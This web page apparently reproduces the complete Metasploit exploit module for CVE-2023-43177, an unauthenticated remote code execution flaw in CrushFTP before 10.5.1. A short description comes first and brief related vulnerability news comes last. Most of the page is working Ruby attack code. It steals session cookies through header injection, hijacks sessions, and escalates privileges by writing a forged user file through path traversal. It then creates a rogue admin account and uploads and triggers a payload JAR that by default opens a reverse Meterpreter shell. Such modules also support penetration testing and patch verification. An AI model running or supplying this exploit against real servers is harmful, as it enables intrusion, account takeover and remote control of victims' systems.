Headline
CrushFTP Remote Code Execution
This Metasploit exploit module leverages an improperly controlled modification of dynamically-determined object attributes vulnerability (CVE-2023-43177) to achieve unauthenticated remote code execution. This affects CrushFTP versions prior to 10.5.1. It is possible to set some user’s session properties by sending an HTTP request with specially crafted Header key-value pairs. This enables an unauthenticated attacker to access files anywhere on the server file system and steal the session cookies of valid authenticated users. The attack consists in hijacking a user’s session and escalates privileges to obtain full control of the target. Remote code execution is obtained by abusing the dynamic SQL driver loading and configuration testing feature.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::Remote::Java::HTTP::ClassLoader prepend Msf::Exploit::Remote::AutoCheck class CrushFtpError < StandardError; end class CrushFtpNoAccessError < CrushFtpError; end class CrushFtpNotFoundError < CrushFtpError; end class CrushFtpUnknown < CrushFtpError; end def initialize(info = {}) super( update_info( info, 'Name' => 'CrushFTP Unauthenticated RCE', 'Description' => %q{ This exploit module leverages an Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability (CVE-2023-43177) to achieve unauthenticated remote code execution. This affects CrushFTP versions prior to 10.5.1. It is possible to set some user's session properties by sending an HTTP request with specially crafted Header key-value pairs. This enables an unauthenticated attacker to access files anywhere on the server file system and steal the session cookies of valid authenticated users. The attack consists in hijacking a user's session and escalates privileges to obtain full control of the target. Remote code execution is obtained by abusing the dynamic SQL driver loading and configuration testing feature. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ryan Emmons', # Initial research, discovery and PoC 'Christophe De La Fuente' # Metasploit module ], 'References' => [ [ 'URL', 'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/'], [ 'URL', 'https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py'], [ 'URL', 'https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update'], [ 'CVE', '2023-43177'], [ 'CWE', '913' ] ], 'Platform' => %w[java unix linux win], 'Privileged' => true, 'Arch' => [ARCH_JAVA, ARCH_X64, ARCH_X86], 'Targets' => [ [ 'Java', { 'Arch' => ARCH_JAVA, 'Platform' => 'java', # If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface. # If we set the payload manually to a bind payload (e.g. `java/meterpreter/bind_tcp`) the default LHOST will be # used and the payload will fail if the target is not local (most likely). # To avoid this, the default payload is set here, which prevent Framework to set a default LHOST. 'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' } } ], [ 'Linux Dropper', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' } ], [ 'Windows Dropper', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'win' } ], ], 'DisclosureDate' => '2023-08-08', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'The base path of the CrushFTP web interface', '/']), OptInt.new('SESSION_FILE_DELAY', [true, 'The delay in seconds between attempts to download the session file', 30]) ] ) end def send_as2_query_api(headers = {}) rand_username = rand_text_hex(10) opts = { 'uri' => normalize_uri(target_uri.path, 'WebInterface/function/?command=getUsername'), 'method' => 'POST', 'headers' => { 'as2-to' => rand_text_hex(8), # Each key-value pair will be added into the current session’s # `user_info` Properties, which is used by CrushFTP to store information # about a user's session. Here, we set a few properties needed for the # exploit to work. 'user_ip' => '127.0.0.1', 'dont_log' => 'true', # The `user_name` property will be be included in the response to a # `getUsername` API query. This will be used to make sure the operation # worked and the other key-value pairs were added to the session's # `user_info` Properties. 'user_name' => rand_username }.merge(headers) } # This only works with anonymous sessions, so `#get_anon_session` should be # called before to make sure the cookie_jar is set with an anonymous # session cookie. res = send_request_cgi(opts) raise CrushFtpNoAccessError, '[send_as2_query_api] Could not connect to the web server - no response' if res.nil? xml_response = res.get_xml_document if xml_response.xpath('//loginResult/response').text != 'success' raise CrushFtpUnknown, '[send_as2_query_api] The API returned a non-successful response' end # Checking the forged username returned in the response unless xml_response.xpath('//loginResult/username').text == rand_username raise CrushFtpUnknown, '[send_as2_query_api] username not found in response, the exploit didn\'t work' end res end def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20) opts = { 'uri' => normalize_uri(target_uri.path, 'WebInterface/function/'), 'method' => 'POST' } if multipart opts['vars_form_data'] = [ { 'name' => 'command', 'data' => command }, ] unless cookie.blank? opts['vars_form_data'] << { 'name' => 'c2f', 'data' => cookie.last(4) } end opts['vars_form_data'] += vars unless vars.empty? else opts['vars_post'] = { 'command' => command }.merge(vars) opts['vars_post']['c2f'] = cookie.last(4) unless cookie.blank? end opts['cookie'] = "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}" unless cookie.nil? res = send_request_cgi(opts, timeout) raise CrushFtpNoAccessError, '[send_query_api] Could not connect to the web server - no response' if res.nil? res end def get_anon_session vprint_status('Getting a new anonymous session') cookie_jar.clear res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'WebInterface'), 'method' => 'GET', 'keep_cookies' => true ) raise CrushFtpNoAccessError, '[get_anon_session] Could not connect to the web server - no response' if res.nil? match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/) raise CrushFtpNotFoundError, '[get_anon_session] Could not get the `currentAuth` cookie' unless match vprint_status("Anonymous session cookie: #{match[:cookie]}") match[:cookie] end def check vprint_status('Checking CrushFTP Server') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'), 'method' => 'GET' ) return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil? return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i cookie = get_anon_session vprint_status('Checking if the attack primitive works') # This will raise an exception in case of error send_as2_query_api do_logout(cookie) CheckCode::Appears rescue CrushFtpError => e CheckCode::Unknown("#{e.class} - #{e.message}") end def rand_dir @rand_dir ||= "WebInterface/Resources/libs/jq-3.6.0_#{rand_text_hex(10)}-js/" end def get_session_file # Setting this here to be reachable by the ensure block cookie = nil begin cookie = get_anon_session rescue CrushFtpError => e print_bad("[get_session_file] Unable to get an anonymous session: #{e.class} - #{e.message}") return nil end vprint_status("Getting session file at `#{rand_dir}`") headers = { 'filename' => '/', 'user_protocol_proxy' => rand_text_hex(8), 'user_log_file' => 'sessions.obj', 'user_log_path' => './', 'user_log_path_custom' => File.join('.', rand_dir) } send_as2_query_api(headers) formatted_dir = File.join('.', rand_dir.delete_suffix('/')) register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, rand_dir, 'sessions.obj'), 'method' => 'GET' ) unless res&.code == 200 print_bad('[get_session_file] Could not connect to the web server - no response') if res.nil? print_bad('[get_session_file] Could not steal the session file') return nil end print_good('Session file downloaded') tmp_hash = Rex::Text.md5(res.body) if @session_file_hash == tmp_hash vprint_status('Session file has not changed yet, skipping') return nil end @session_file_hash = tmp_hash res.body rescue CrushFtpError => e print_bad("[get_session_file] Unknown failure:#{e.class} - #{e.message}") return nil ensure do_logout(cookie) if cookie end def check_sessions(session_file) valid_sessions = [] session_cookies = session_file.scan(/\d{13}_[A-Za-z0-9]{30}/).uniq vprint_status("Found #{session_cookies.size} session cookies in the session file") session_cookies.each do |cookie| res = send_query_api(command: 'getUsername', cookie: cookie) username = res.get_xml_document.xpath('//loginResult/username').text if username == 'anonymous' vprint_status("Cookie `#{cookie}` is an anonymous session") elsif username.empty? vprint_status("Cookie `#{cookie}` is not valid") else vprint_status("Cookie `#{cookie}` is valid session (username: #{username})") valid_sessions << { cookie: cookie, username: username } end rescue CrushFtpError => e print_bad("[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} - #{e.message}") end valid_sessions end def check_admin_and_windows(cookie) res = send_query_api(command: 'getDashboardItems', cookie: cookie) is_windows = res.get_xml_document.xpath('//result/response_data/result_value/machine_is_windows').text return nil if is_windows.blank? return true if is_windows == 'true' false rescue CrushFtpError vprint_status("[check_admin_and_get_os_family] Cookie #{cookie} doesn't have access to the `getDashboardItems` API, it is not an admin session") nil end def get_writable_dir(path, cookie) res = send_query_api(command: 'getXMLListing', cookie: cookie, vars: { 'path' => path, 'random' => "0.#{rand_text_numeric(17)}" }) xml_doc = res.get_xml_document current_path = xml_doc.xpath('//listingInfo/path').text if xml_doc.xpath('//listingInfo/privs').text.include?('(write)') return current_path end res.get_xml_document.xpath('//listingInfo/listing/listing_subitem').each do |subitem| if subitem.at('type').text == 'DIR' dir = get_writable_dir(File.join(current_path, subitem.at('href_path').text), cookie) return dir unless dir.nil? end end nil rescue CrushFtpError => e print_bad("[get_writable_dir] Unknown failure: #{e.class} - #{e.message}") nil end def upload_file(file_path, file_content, id, cookie) file_size = file_content.size vars = [ { 'name' => 'upload_path', 'data' => file_path }, { 'name' => 'upload_size', 'data' => file_size }, { 'name' => 'upload_id', 'data' => id }, { 'name' => 'start_resume_loc', 'data' => '0' } ] res = send_query_api(command: 'openFile', cookie: cookie, vars: vars, multipart: true) response_msg = res.get_xml_document.xpath('//commandResult/response').text if response_msg != id raise CrushFtpUnknown, "Unable to upload #{file_path}: #{response_msg}" end form_data = Rex::MIME::Message.new form_data.add_part(file_content, 'application/octet-stream', 'binary', "form-data; name=\"CFCD\"; filename=\"#{file_path}\"") post_data = form_data.to_s post_data.sub!("Content-Transfer-Encoding: binary\r\n", '') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'U', "#{id}~1~#{file_size}"), 'method' => 'POST', 'cookie' => "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}", 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => post_data ) vars = [ { 'name' => 'upload_id', 'data' => id }, { 'name' => 'total_chunks', 'data' => '1' }, { 'name' => 'total_bytes', 'data' => file_size }, { 'name' => 'filePath', 'data' => file_path }, { 'name' => 'lastModified', 'data' => DateTime.now.strftime('%Q') }, { 'name' => 'start_resume_loc', 'data' => '0' } ] send_query_api(command: 'closeFile', cookie: cookie, vars: vars, multipart: true) end def check_egg(session_file, egg) path = session_file.match(%r{FILE://.*?#{egg}}) return nil unless path path = path[0] vprint_status("Found the egg at #{path} in the session file") if (match = path.match(%r{^FILE://(?<path>[A-Z]:.*)#{egg}})) print_good("Found path `#{match[:path]}` and it is Windows") elsif (match = path.match(%r{^FILE:/(?<path>.*)#{egg}})) print_good("Found path `#{match[:path]}` and it is Unix-like") end match[:path] end def move_user_xml(admin_username, writable_dir) headers = { 'filename' => '/', 'user_protocol_proxy' => rand_text_hex(8), 'user_log_file' => 'user.XML', 'user_log_path' => "./../../../../../../../../../../../../../../..#{writable_dir}", 'user_log_path_custom' => "./users/MainUsers/#{admin_username}/" } send_as2_query_api(headers) end def do_priv_esc_and_check_windows(session) vprint_status('Looking for a directory with write permissions') writable_dir = get_writable_dir('/', session[:cookie]) if writable_dir.nil? print_bad('[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible') return nil end print_good("Found a writable directory: #{writable_dir}") egg_rand = rand_text_hex(10) print_status("Uploading the egg file `#{egg_rand}`") egg_path = File.join(writable_dir, egg_rand) begin upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie]) rescue CrushFtpError => e print_bad("[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} - #{e.message}") return nil end admin_password = rand_text_hex(10) user_xml = <<~XML.gsub!(/\n */, '') <?xml version='1.0' encoding='UTF-8'?> <user type='properties'> <username>#{session[:username]}</username> <password>MD5:#{Rex::Text.md5(admin_password)}</password> <extra_vfs type='vector'></extra_vfs> <version>1.0</version> <userVersion>6</userVersion> <created_by_username>crushadmin</created_by_username> <created_by_email></created_by_email> <created_time>#{DateTime.now.strftime('%Q')}</created_time> <filePublicEncryptionKey></filePublicEncryptionKey> <fileDecryptionKey></fileDecryptionKey> <max_logins>0</max_logins> <root_dir>/</root_dir> <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site> <password_history></password_history> </user> XML xml_path = File.join(writable_dir, 'user.XML') print_status("Uploading `user.XML` to #{xml_path}") begin upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie]) rescue CrushFtpError => e print_bad("[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} - #{e.message}") return nil end path = nil loop do print_status('Looking for the egg in the session file') session_file = get_session_file if session_file path = check_egg(session_file, egg_rand) break if path end print_status("Egg not found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)") sleep datastore['SESSION_FILE_DELAY'] end print_good("Found the file system path: #{path}") register_files_for_cleanup(File.join(path, egg_rand)) cookie = nil begin cookie = get_anon_session rescue CrushFtpError => e print_bad("[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} - #{e.message}") return nil end admin_username = rand_text_hex(10) vprint_status("The forged user will be `#{admin_username}`") vprint_status("Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges") is_windows = path.match(/^[A-Z]:(?<path>.*)/) move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path) do_logout(cookie) # `cookie` is explicitly set to `nil` here to make sure the ensure block # won't log it out again if the next call to `do_login` raises an # exception. Without this line, if `do_login` raises an exception, `cookie` # will still contain the value of the previous session cookie, which should # have been logged out at this point. The ensure block will try to logout # the same session again. cookie = nil print_status('Logging into the elevated account') cookie = do_login(admin_username, admin_password) fail_with(Failure::NoAccess, 'Unable to login with the elevated account') unless cookie print_good('Logged in! Now let\'s create a temporary admin account') [create_admin_account(cookie, is_windows), is_windows] ensure do_logout(cookie) if cookie end def create_admin_account(cookie, is_windows) # This creates an administrator account with the required VFS setting for the exploit to work admin_username = rand_text_hex(10) admin_password = rand_text_hex(10) user_xml = <<~XML.gsub!(/\n */, '') <?xml version='1.0' encoding='UTF-8'?> <user type='properties'> <username>#{admin_username}</username> <password>#{admin_password}</password> <extra_vfs type='vector'></extra_vfs> <version>1.0</version> <userVersion>6</userVersion> <created_by_username>crushadmin</created_by_username> <created_by_email></created_by_email> <created_time>#{DateTime.now.strftime('%Q')}</created_time> <filePublicEncryptionKey></filePublicEncryptionKey> <fileDecryptionKey></fileDecryptionKey> <max_logins>0</max_logins> <root_dir>/</root_dir> <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site> <password_history></password_history> </user> XML url = is_windows ? 'FILE://C:/Users/Public/' : 'FILE://var/tmp/' vfs_xml = <<~XML.gsub!(/\n */, '') <?xml version='1.0' encoding='UTF-8'?> <vfs_items type='vector'> <vfs_items_subitem type='properties'> <name>tmp</name> <path>/</path> <vfs_item type='vector'> <vfs_item_subitem type='properties'> <type>DIR</type> <url>#{url}</url> </vfs_item_subitem> </vfs_item> </vfs_items_subitem> </vfs_items> XML perms_xml = <<~XML.gsub!(/\n */, '') <?xml version='1.0' encoding='UTF-8'?> <VFS type='properties'> <item name='/'> (read)(view)(resume) </item> <item name='/TMP/'> (read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow) </item> </VFS> XML vars_post = { 'data_action' => 'new', 'serverGroup' => 'MainUsers', 'username' => admin_username, 'user' => user_xml, 'xmlItem' => 'user', 'vfs_items' => vfs_xml, 'permissions' => perms_xml } res = send_query_api(command: 'setUserItem', cookie: cookie, vars: vars_post) return nil if res.body.include?('Access Denied') || res.code == 404 { username: admin_username, password: admin_password } rescue CrushFtpError => e print_bad("[create_admin_account] Unknown failure: #{e.class} - #{e.message}") nil end def do_login(username, password) vprint_status("[do_login] Logging in with username `#{username}` and password `#{password}`") vars = { 'username' => username, 'password' => password, 'encoded' => 'true', 'language' => 'en', 'random' => "0.#{rand_text_numeric(17)}" } res = send_query_api(command: 'login', cookie: '', vars: vars) unless res.code == 200 && res.get_xml_document.xpath('//loginResult/response').text.include?('success') print_bad('[do_login] Login failed') return nil end match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/) unless match print_bad('[do_login] Cannot find session cookie in response') return nil end match[:cookie] end def do_logout(cookie) vprint_status("Logging out session cookie `#{cookie}`") vars = { 'random' => "0.#{rand_text_numeric(17)}" } res = send_query_api(command: 'logout', cookie: cookie, vars: vars) unless res.code == 200 && res.get_xml_document.xpath('//commandResult/response').text.include?('Logged out') vprint_bad('[do_logout] Unable to logout') end rescue CrushFtpError => e vprint_bad("[do_logout] An error occured when trying to logout: #{e.class} - #{e.message}") end def do_rce(cookie, is_windows) jar_file = payload.encoded_jar({ arch: payload.arch.first }) jar_file.add_file("#{class_name}.class", constructor_class) jar_filename = "#{rand_text_hex(4)}.jar" jar_path = is_windows ? "C:/Users/Public/#{jar_filename}" : "/var/tmp/#{jar_filename}" print_status("Uploading payload .jar file `#{jar_filename}` to #{jar_path}") begin upload_file(jar_filename, jar_file.pack, class_name, cookie) rescue CrushFtpError => e raise CrushFtpUnknown, "[do_rce] Unable to upload the payload .jar file: #{e.class} - #{e.message}" end print_status('Triggering the payload') vars = { 'db_driver_file' => jar_path, 'db_driver' => class_name, 'db_url' => 'jdbc:derby:./hax;create=true', 'db_user' => rand_text(3..5), 'db_pass' => rand_text(10..15) } begin send_query_api(command: 'testDB', cookie: cookie, vars: vars, timeout: 0) rescue CrushFtpNoAccessError # Expecting no response end register_files_for_cleanup(jar_path) end def delete_user(username, cookie) vars = { 'data_action' => 'delete', 'serverGroup' => 'MainUsers', 'usernames' => username, 'user' => '<?xml version="1.0" encoding="UTF-8"?>', 'xmlItem' => 'user', 'vfs_items' => '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>', 'permissions' => '<?xml version="1.0" encoding="UTF-8"?><permissions type="vector"></permissions>' } send_query_api(command: 'setUserItem', cookie: cookie, vars: vars) end def exploit admin_creds = nil is_windows = nil loop do print_status('Downloading the session file') session_file = get_session_file unless session_file print_status("No session file, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)") sleep datastore['SESSION_FILE_DELAY'] next end print_status('Looking for the valid sessions') session_list = check_sessions(session_file) if session_list.empty? print_status("No valid sessions found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)") sleep datastore['SESSION_FILE_DELAY'] next end # First, check if we have active admin sessions to go ahead and directly go the RCE part. session_list.each do |session| print_status("Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})") # This will return nil if it is not an admin session is_windows = check_admin_and_windows(session[:cookie]) next if is_windows.nil? print_good('It is an admin! Let\'s create a temporary admin account') admin_creds = create_admin_account(session[:cookie], is_windows) break end # If the previous step failed, try to escalate privileges with the remaining active sessions, if any. if admin_creds.nil? print_status('Could not find any admin session or the admin account creation failed') session_list.each do |session| print_status("Attempting privilege escalation with session cookie #{session}") admin_creds, is_windows = do_priv_esc_and_check_windows(session) break unless admin_creds.nil? end end break unless admin_creds.nil? print_status( "Creation of an admin account failed with the current active sessions, wait #{datastore['SESSION_FILE_DELAY']}"\ 'seconds and try again... (Ctrl-C to exit)' ) sleep datastore['SESSION_FILE_DELAY'] end print_good("Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}") cookie = do_login(admin_creds[:username], admin_creds[:password]) fail_with(Failure::NoAccess, 'Unable to login with the new administrator credentials') unless cookie do_rce(cookie, is_windows) print_status('Cleanup the temporary admin account') delete_user(admin_creds[:username], cookie) rescue CrushFtpError => e fail_with(Failure::Unknown, "Unknown failure: #{e.class} - #{e.message}") ensure do_logout(cookie) if cookie endend
Related news
The maintainers of the open-source file-sharing software ownCloud have warned of three critical security flaws that could be exploited to disclose sensitive information and modify files. A brief description of the vulnerabilities is as follows - Disclosure of sensitive credentials and configuration in containerized deployments impacting graphapi versions from 0.2.0 to 0.3.0. (CVSS score: 10.0)
CrushFTP prior to 10.5.1 is vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes.